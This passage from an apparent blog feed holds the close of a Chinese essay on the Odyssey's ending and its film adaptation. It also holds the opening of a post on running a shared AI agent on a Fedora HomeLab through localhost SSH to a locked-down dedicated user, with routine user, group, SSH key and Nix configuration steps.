&lt;p&gt;Odysseus 回家后去农庄见 Laertes，却又一次忍不住先编造假身份，直到看见父亲悲痛得把尘土撒在头上，才终于说出真相。除了展示腿上的旧伤疤，他还列出小时候父亲送给自己的梨树、苹果树、无花果树和葡萄藤。只有父子二人才知道这份果园清单。&lt;/p&gt;
&lt;p&gt;这和 Penelope 的婚床测试很相似：真正证明身份的不是抽象的姓名，而是共同生活留下的具体记忆。婚床把 Odysseus 重新变成丈夫，果树把他重新变成儿子。&lt;/p&gt;
&lt;p&gt;之后，求婚者的家属前来复仇，在 Athena 帮助下恢复力量的 Laertes 亲手杀死 Antinous 的父亲 Eupeithes。祖父、父亲、儿子三代人终于站在一起，Odysseus 的家才算完整恢复。&lt;/p&gt;
&lt;p&gt;Laertes 不需要被强行概括成一个英语文化符号，但他的存在让 nostos 多出一层经常被电影忽略的含义：&lt;strong&gt;回家不只是找回妻子和王位，也是让自己重新进入代际关系，重新成为某个人的儿子。&lt;/strong&gt;&lt;/p&gt;
&lt;h2 id="原著真正的结尾"&gt;原著真正的结尾
&lt;/h2&gt;&lt;p&gt;原著并没有在 Odysseus 杀完求婚者、与 Penelope 团聚时立刻结束。&lt;/p&gt;
&lt;p&gt;求婚者的亡魂先被 Hermes 带到冥界，Agamemnon 听说 Penelope 忠诚地等到丈夫回来，再次感叹自己的归乡何其失败。随后，求婚者家属要求为死者复仇，与 Odysseus、Telemachus、Laertes 和忠仆爆发冲突。最后 Athena 奉 Zeus 之命叫停双方，让 Ithaca 重新和平。&lt;/p&gt;
&lt;p&gt;电影在夫妻团聚之后写了另一套结局。原著则让 Odysseus 留在重新恢复秩序的 Ithaca，但他其实还有一段尚未完成的旅程。&lt;/p&gt;
&lt;p&gt;Tiresias 曾预言，Odysseus 在解决求婚者之后，要扛着一支船桨不断向内陆走，直到遇见一个从未见过海的人，把船桨误认成扬谷物的扬谷铲。他要在那里把船桨插进土地，向 Poseidon 献祭，然后再回家。最终，他会在富足和亲人环绕中安详死去。&lt;/p&gt;
&lt;p&gt;这个预言很有意思：他必须把海的工具带到完全不知道海的地方，才能真正与海神和解。也就是说，回到 Ithaca 还不是旅程的终点；他还需要把二十年的战争与漂泊带到世界另一端，安放下来，再回家一次。&lt;/p&gt;
&lt;h2 id="最后再看-ithaca-伊萨卡"&gt;最后再看 Ithaca 伊萨卡
&lt;/h2&gt;&lt;p&gt;Ithaca 是现实中存在的希腊岛屿，也是 Odysseus 的王国。但在两千多年的后世文学里，它早就不只是地图上的一个地方。&lt;/p&gt;
&lt;p&gt;它可以是故乡、目标、身份，也可以是一个人为了抵达而经历的全部人生。希腊诗人卡瓦菲斯的名诗《Ithaka》写的正是这层意思：希望你的道路漫长，充满冒险和见识；Ithaca 给了你旅程，哪怕最后发现它并不富有，也没有欺骗你。&lt;/p&gt;
&lt;p&gt;回头再看整部《奥德赛》，Odysseus 遇到的每个地方都在用不同方式让他停止成为原来的自己：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Lotus 让人忘记为什么回家；&lt;/li&gt;
&lt;li&gt;Calypso 给出永生，让他不再作为凡人回家；&lt;/li&gt;
&lt;li&gt;Circe 把人变成动物，让人失去文明身份；&lt;/li&gt;
&lt;li&gt;Sirens 用无限知识让旅程停在半路；&lt;/li&gt;
&lt;li&gt;Polyphemus 逼他隐藏名字，他又因为炫耀名字招来灾祸；&lt;/li&gt;
&lt;li&gt;Hades 让他看见，如果不回去，所有英雄最后都只剩一个名字；&lt;/li&gt;
&lt;li&gt;求婚者则直接占据他的家，试图让“Odysseus”这个身份失去现实位置。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;所以《奥德赛》并不只是在讲一个人怎样从 A 点航行到 B 点。它真正反复追问的是：&lt;strong&gt;经历战争、漂泊、诱惑、衰老和二十年时间之后，一个人怎样证明自己仍然是自己，又怎样重新回到与他人组成的关系中。&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;这也是为什么原著没有把杀死怪物、战胜求婚者或夺回王位当成真正的终点。只有 Penelope 确认这个人仍然知道那张扎根土地的床，Laertes 确认他仍然记得童年的果树，Athena 又让整个 Ithaca 停止复仇，Odysseus 的 nostos 才真正完成。&lt;/p&gt;
&lt;h2 id="原典位置速查"&gt;原典位置速查
&lt;/h2&gt;&lt;p&gt;如果看完电影后想直接回原著找某一段，可以按卷数速通：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;第 1—4 卷：Telemachy，Telemachus 寻找父亲的消息；&lt;/li&gt;
&lt;li&gt;第 5 卷：Calypso 放走 Odysseus；&lt;/li&gt;
&lt;li&gt;第 6—8 卷：Nausicaa 与法伊阿刻斯人的招待；&lt;/li&gt;
&lt;li&gt;第 9 卷：Lotus-Eaters、Polyphemus 与“Nobody”；&lt;/li&gt;
&lt;li&gt;第 10 卷：食人巨人 Laestrygonians 与 Circe；&lt;/li&gt;
&lt;li&gt;第 11 卷：冥界、Tiresias、Agamemnon 与 Achilles；&lt;/li&gt;
&lt;li&gt;第 12 卷：Sirens、Scylla、Charybdis 与 Helios 的神牛；&lt;/li&gt;
&lt;li&gt;第 13—16 卷：回到 Ithaca，与 Eumaeus、Telemachus 相认；&lt;/li&gt;
&lt;li&gt;第 17 卷：Argos 认出主人；&lt;/li&gt;
&lt;li&gt;第 19 卷：老保姆 Eurycleia 通过伤疤认出 Odysseus；&lt;/li&gt;
&lt;li&gt;第 21—22 卷：弓箭考验与诛杀求婚者；&lt;/li&gt;
&lt;li&gt;第 23 卷：Penelope 与婚床测试；&lt;/li&gt;
&lt;li&gt;第 24 卷：Laertes、求婚者家属与最终和解。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;这篇笔记主要参考《奥德赛》原著，并用 &lt;a class="link" href="https://www.britannica.com/topic/Odyssey-epic-by-Homer" target="_blank" rel="noopener"
&gt;Encyclopaedia Britannica 的《Odyssey》词条&lt;/a&gt;核对故事结构，用 &lt;a class="link" href="https://www.merriam-webster.com/wordplay/words-from-the-odyssey" target="_blank" rel="noopener"
&gt;Merriam-Webster 整理的《Words from the Odyssey》&lt;/a&gt;核对进入英语的词汇。电影与原著的差异则参考了 &lt;a class="link" href="https://www.britannica.com/art/Homers-Odyssey-vs-Christopher-Nolans-Film-Changes-From-Poem-to-Screen" target="_blank" rel="noopener"
&gt;Britannica 的改编对照&lt;/a&gt;和 &lt;a class="link" href="https://variety.com/2026/film/news/the-odyssey-changes-christopher-nolan-adapts-homer-1236814443" target="_blank" rel="noopener"
&gt;Variety 的整理&lt;/a&gt;。想直接读英文原著，也可以从 &lt;a class="link" href="https://www.gutenberg.org/ebooks/1727" target="_blank" rel="noopener"
&gt;Project Gutenberg 的公版译本&lt;/a&gt;开始。&lt;/p&gt;</description></item><item><title>在 HomeLab 上搭建团队共用的 Hermes Agent</title><link>https://v3n0.com/post/2026/hermes-agent-homelab-setup/</link><pubDate>Sat, 18 Jul 2026 06:46:55 +0800</pubDate><guid>https://v3n0.com/post/2026/hermes-agent-homelab-setup/</guid><description>&lt;p&gt;最近，我准备在 HomeLab 上部署一个团队共用的 Hermes Agent。&lt;/p&gt;
&lt;p&gt;这次搭建的核心思路，是让 Hermes 的 Terminal Backend 在同一台物理机上通过 &lt;code&gt;localhost&lt;/code&gt; SSH 登录专用的 &lt;code&gt;hermes&lt;/code&gt; 用户，而不是把 Agent 的工作环境塞进 Docker 容器，也不再额外维护一台虚拟机。这里没有第二台远程主机：Gateway 和 SSH Server 都运行在这台 Fedora HomeLab 上，SSH 只是同机切换执行身份和进入独立用户环境的边界。&lt;/p&gt;
&lt;p&gt;选择 SSH 是因为它足够朴素：Hermes 登录后看到的是一个正常的 Linux 用户环境，&lt;code&gt;lark-cli&lt;/code&gt;、GitHub CLI、Git、Nix 等需要交互式鉴权或长期保存凭据的工具都可以按常规方式配置。与此同时，Linux 用户、用户组、文件权限和 SSH 本身已经提供了一套清楚的隔离边界。&lt;/p&gt;
&lt;h2 id="为什么-terminal-backend-选择-ssh"&gt;为什么 Terminal Backend 选择 SSH
&lt;/h2&gt;&lt;p&gt;Hermes 需要的不只是一个能执行几条 Shell 命令的临时环境。它还要长期维护自己的工作区，使用团队工具，并在多次会话之间保留必要的配置和状态。&lt;/p&gt;
&lt;p&gt;我最初考虑过三种方案：&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;方案&lt;/th&gt;
&lt;th&gt;优点&lt;/th&gt;
&lt;th&gt;主要问题&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Docker&lt;/td&gt;
&lt;td&gt;部署和销毁方便，文件系统边界直观&lt;/td&gt;
&lt;td&gt;设备、网络、凭据和宿主工具都要额外映射；CLI 鉴权比较别扭&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;虚拟机&lt;/td&gt;
&lt;td&gt;隔离完整，环境接近独立主机&lt;/td&gt;
&lt;td&gt;太重，资源和配置都有额外维护成本&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;SSH 到专用用户&lt;/td&gt;
&lt;td&gt;环境原生，工具和鉴权方式自然，方便用 Nix 管理&lt;/td&gt;
&lt;td&gt;隔离强度取决于宿主机权限配置，需要认真审计&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Docker 对无状态服务很好用，但 Agent 的使用方式更像“一个长期在线的远程同事”。例如 &lt;code&gt;lark-cli&lt;/code&gt; 和 GitHub CLI 都可能涉及浏览器登录、设备授权、凭据缓存或本地配置目录。把这些状态放进容器，需要继续处理 volume、UID、密钥注入和容器重建后的状态恢复。容器能提供隔离，但也把正常的用户环境拆成了许多需要手工连接的碎片。&lt;/p&gt;
&lt;p&gt;虚拟机可以绕过这些问题，却又走到了另一个极端。为了一个用户态 Agent 单独维护完整操作系统，在我的 HomeLab 上有些过重。&lt;/p&gt;
&lt;p&gt;所以最终的模型很简单。下面所有组件都位于同一台 Fedora 物理机，连接只经过 loopback：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1
&lt;/span&gt;&lt;span class="lnt"&gt; 2
&lt;/span&gt;&lt;span class="lnt"&gt; 3
&lt;/span&gt;&lt;span class="lnt"&gt; 4
&lt;/span&gt;&lt;span class="lnt"&gt; 5
&lt;/span&gt;&lt;span class="lnt"&gt; 6
&lt;/span&gt;&lt;span class="lnt"&gt; 7
&lt;/span&gt;&lt;span class="lnt"&gt; 8
&lt;/span&gt;&lt;span class="lnt"&gt; 9
&lt;/span&gt;&lt;span class="lnt"&gt;10
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Hermes Gateway（veno 用户启动）
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; │
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; │ SSH localhost
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; ▼
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;hermes 用户
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;├── 独立的 HOME
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;├── Home Manager 管理的软件环境
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;├── 独立的 SSH / Git / CLI 凭据
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;├── 可写的工作目录
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;└── 无 sudo 权限
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;这个方案并不等于强沙箱。它的安全性主要来自普通 Linux 用户隔离，因此后面还需要专门处理 Hermes 自带 Tools 的访问范围，防止 Gateway 进程绕开 SSH 用户边界直接读写 &lt;code&gt;veno&lt;/code&gt; 的文件。&lt;/p&gt;
&lt;h2 id="环境准备与用户配置"&gt;环境准备与用户配置
&lt;/h2&gt;&lt;h3 id="创建专用用户"&gt;创建专用用户
&lt;/h3&gt;&lt;p&gt;先在 Fedora 上创建 &lt;code&gt;hermes&lt;/code&gt; 用户。它需要正常的登录 Shell 和独立 Home，但不加入 &lt;code&gt;wheel&lt;/code&gt;，也不应该继承 &lt;code&gt;veno&lt;/code&gt; 所在的敏感用户组。&lt;/p&gt;
&lt;p&gt;计划采用的基础操作如下，实际执行前仍要根据当前系统的用户组整理结果确认参数：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;span class="lnt"&gt;3
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sudo useradd --create-home --shell /bin/bash hermes
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sudo passwd -l hermes
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;id hermes
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;锁定密码不影响密钥登录，可以减少本地密码被尝试的入口。创建后需要重点检查：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;hermes&lt;/code&gt; 不属于 &lt;code&gt;wheel&lt;/code&gt;；&lt;/li&gt;
&lt;li&gt;&lt;code&gt;hermes&lt;/code&gt; 不属于可以访问容器 socket、虚拟化设备或敏感服务的组；&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/home/veno&lt;/code&gt; 不对其他用户开放；&lt;/li&gt;
&lt;li&gt;团队共享目录通过专用用户组授权，而不是放宽整个 Home 目录权限。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;共享目录会单独建立。例如，如果 Agent 只需要操作 &lt;code&gt;/srv/hermes-workspace&lt;/code&gt;，就只把这个目录授予对应用户组，不让它顺便获得 &lt;code&gt;/srv&lt;/code&gt; 下其他服务的访问权。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;span class="lnt"&gt;3
&lt;/span&gt;&lt;span class="lnt"&gt;4
&lt;/span&gt;&lt;span class="lnt"&gt;5
&lt;/span&gt;&lt;span class="lnt"&gt;6
&lt;/span&gt;&lt;span class="lnt"&gt;7
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sudo groupadd --force hermes-workspace
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sudo usermod --append --groups hermes-workspace hermes
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sudo install -d &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --owner&lt;span class="o"&gt;=&lt;/span&gt;hermes &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --group&lt;span class="o"&gt;=&lt;/span&gt;hermes-workspace &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --mode&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;2770&lt;/span&gt; &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; /srv/hermes-workspace
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;这里的 setgid 位可以让新文件继承目录所属组，避免多人或自动化进程协作时不断出现组权限漂移。&lt;/p&gt;
&lt;h3 id="配置-localhost-ssh"&gt;配置 localhost SSH
&lt;/h3&gt;&lt;p&gt;Hermes Gateway 由同一台机器上的 &lt;code&gt;veno&lt;/code&gt; 用户启动，但 Terminal Backend 通过 &lt;code&gt;localhost&lt;/code&gt; 登录的是 &lt;code&gt;hermes&lt;/code&gt;。两者之间使用一把专用 SSH 密钥，不复用我日常登录服务器的密钥，也不需要让这条连接暴露到局域网。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;span class="lnt"&gt;3
&lt;/span&gt;&lt;span class="lnt"&gt;4
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ssh-keygen &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; -t ed25519 &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; -f ~/.ssh/hermes-agent &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; -C &lt;span class="s2"&gt;&amp;#34;hermes-agent@localhost&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;然后把公钥写入 &lt;code&gt;hermes&lt;/code&gt; 的 &lt;code&gt;authorized_keys&lt;/code&gt;，并严格设置目录和文件权限。这里还可以在 key 前添加 &lt;code&gt;from=&amp;quot;127.0.0.1,::1&amp;quot;&lt;/code&gt;，把这把密钥限制为只能从本机使用。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;from=&amp;#34;127.0.0.1,::1&amp;#34; ssh-ed25519 AAAA... hermes-agent@localhost
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;需要注意，SSH key options 的最终写法要和 Hermes Terminal Backend 的连接方式一起验证。如果 Backend 需要端口转发、PTY 或其他能力，不能过早加上会破坏正常工作的限制。&lt;/p&gt;
&lt;p&gt;完成后先脱离 Hermes 做一次最小连接测试：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;span class="lnt"&gt;3
&lt;/span&gt;&lt;span class="lnt"&gt;4
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ssh &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; -i ~/.ssh/hermes-agent &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; -o &lt;span class="nv"&gt;IdentitiesOnly&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;yes &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; hermes@localhost
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;预期结果是登录后 &lt;code&gt;whoami&lt;/code&gt; 返回 &lt;code&gt;hermes&lt;/code&gt;，&lt;code&gt;$HOME&lt;/code&gt; 为 &lt;code&gt;/home/hermes&lt;/code&gt;，并且无法读取 &lt;code&gt;/home/veno&lt;/code&gt; 中权限受限的文件。&lt;/p&gt;
&lt;h2 id="用-nix-和-home-manager-管理工作环境"&gt;用 Nix 和 Home Manager 管理工作环境
&lt;/h2&gt;&lt;p&gt;我的 HomeLab 是 Fedora + Nix：Fedora 负责内核、驱动、系统服务和用户，Nix 负责用户态工具链。Hermes 也沿用这条边界。&lt;/p&gt;
&lt;h3 id="为-hermes-整理独立分组"&gt;为 Hermes 整理独立分组
&lt;/h3&gt;&lt;p&gt;这次不打算把我的全部 Home Manager 配置原样复制给 Hermes。个人桌面工具、私有 Shell 配置和只对我有意义的开发环境都不应该进入 Agent 的闭包。&lt;/p&gt;
&lt;p&gt;我的 dotfiles 已经按 host 和 package module 做过一轮整理。&lt;code&gt;hosts/thinkpad-veno.nix&lt;/code&gt; 负责组合我自己的完整环境，而 Hermes 使用单独的 &lt;code&gt;hosts/thinkpad-hermes.nix&lt;/code&gt;。两者可以复用基础模块，但不会共享同一份 host 配置：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1
&lt;/span&gt;&lt;span class="lnt"&gt; 2
&lt;/span&gt;&lt;span class="lnt"&gt; 3
&lt;/span&gt;&lt;span class="lnt"&gt; 4
&lt;/span&gt;&lt;span class="lnt"&gt; 5
&lt;/span&gt;&lt;span class="lnt"&gt; 6
&lt;/span&gt;&lt;span class="lnt"&gt; 7
&lt;/span&gt;&lt;span class="lnt"&gt; 8
&lt;/span&gt;&lt;span class="lnt"&gt; 9
&lt;/span&gt;&lt;span class="lnt"&gt;10
&lt;/span&gt;&lt;span class="lnt"&gt;11
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;dotfiles/
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;├── flake.nix
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;├── hosts/
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;│ ├── thinkpad-veno.nix
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;│ └── thinkpad-hermes.nix
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;└── modules/
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; └── packages/
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; ├── base.nix
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; ├── node.nix
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; ├── modern-unix.nix
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; └── cli.nix
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;Hermes 的 host 配置只导入这四个模块：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1
&lt;/span&gt;&lt;span class="lnt"&gt; 2
&lt;/span&gt;&lt;span class="lnt"&gt; 3
&lt;/span&gt;&lt;span class="lnt"&gt; 4
&lt;/span&gt;&lt;span class="lnt"&gt; 5
&lt;/span&gt;&lt;span class="lnt"&gt; 6
&lt;/span&gt;&lt;span class="lnt"&gt; 7
&lt;/span&gt;&lt;span class="lnt"&gt; 8
&lt;/span&gt;&lt;span class="lnt"&gt; 9
&lt;/span&gt;&lt;span class="lnt"&gt;10
&lt;/span&gt;&lt;span class="lnt"&gt;11
&lt;/span&gt;&lt;span class="lnt"&gt;12
&lt;/span&gt;&lt;span class="lnt"&gt;13
&lt;/span&gt;&lt;span class="lnt"&gt;14
&lt;/span&gt;&lt;span class="lnt"&gt;15
&lt;/span&gt;&lt;span class="lnt"&gt;16
&lt;/span&gt;&lt;span class="lnt"&gt;17
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-nix" data-lang="nix"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="o"&gt;...&lt;/span&gt; &lt;span class="p"&gt;}:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;imports&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="sr"&gt;../modules/packages/base.nix&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="sr"&gt;../modules/packages/node.nix&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="sr"&gt;../modules/packages/modern-unix.nix&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="sr"&gt;../modules/packages/cli.nix&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;];&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;home&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;username&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;hermes&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;homeDirectory&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;/home/hermes&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
